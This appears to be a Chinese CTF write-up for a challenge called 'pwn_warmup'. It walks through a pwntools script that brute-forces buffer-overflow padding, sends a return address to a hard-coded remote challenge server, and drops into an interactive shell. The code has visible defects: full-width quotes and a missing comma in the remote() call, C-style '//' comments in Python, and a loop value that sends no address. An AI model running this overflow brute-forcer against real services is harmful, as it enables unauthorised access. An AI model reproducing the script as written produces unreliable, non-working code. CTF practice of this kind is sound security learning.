pwn_warmup

这个题没有附件,只好nc服务器:

发现给了我们一个类似地址的东西,该怎么利用。

猜想flag应该就在这个地址,或者这个地址的附近。这里不得不提到一个方法叫做fuzz(模糊测试):

Fuzzing是指通过构造测试输入,对软件进行大量测试来发现软件中的漏洞的一种模糊测试方法。在CTF中,fuzzing可能不常用,但在现实的漏洞挖掘中,fuzzing因其简单高效的优势,成为非常主流的漏洞挖掘方法。

所以额,我们要写一个函数,这个函数可以为我们生成很多地址,如果这个地址正确了,flag就会被我拿到

def fuzz(r, num, flag):
    payload = 'a' * num
    if flag==1:
        payload += p32(addr)
    if flag==2:
        payload += p64(addr)
    r.recvuntil(">")
    r.sendline(payload)
因为不知道后门函数的位置在哪里,用‘a'*num填充,同时也不知道程序是64位还是32位,所以构造payload发送地址时要分两种情况

from pwn import *
#context.log_level = 'debug'
addr = 0x40060d

def fuzz(r, num, flag):
    payload = 'a' * num
    if flag==1:
        payload += p32(addr)
    if flag==2:
        payload += p64(addr)
    r.recvuntil(">")
    r.sendline(payload)

def main():
    for i in range(1000):
        print(i)
        for j in range(3):
            try:
                r = remote(“220.249.52.133”48144)
                fuzz(r, i, j)
                text = r.recv()
                print('text.len='+str(len(text))+'text='+text)//解析text的内容
                print('num='+str(i)+' flag='+str(j))//打印num 的个数和flag
                r.interactive()
            except:
                r.close()

if __name__ == '__main__':
    main()

有一点像爆破,我们试了1000次。但实际上攻击我们需要对生成的测试用例进行筛选,这道题就暴力破解了。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值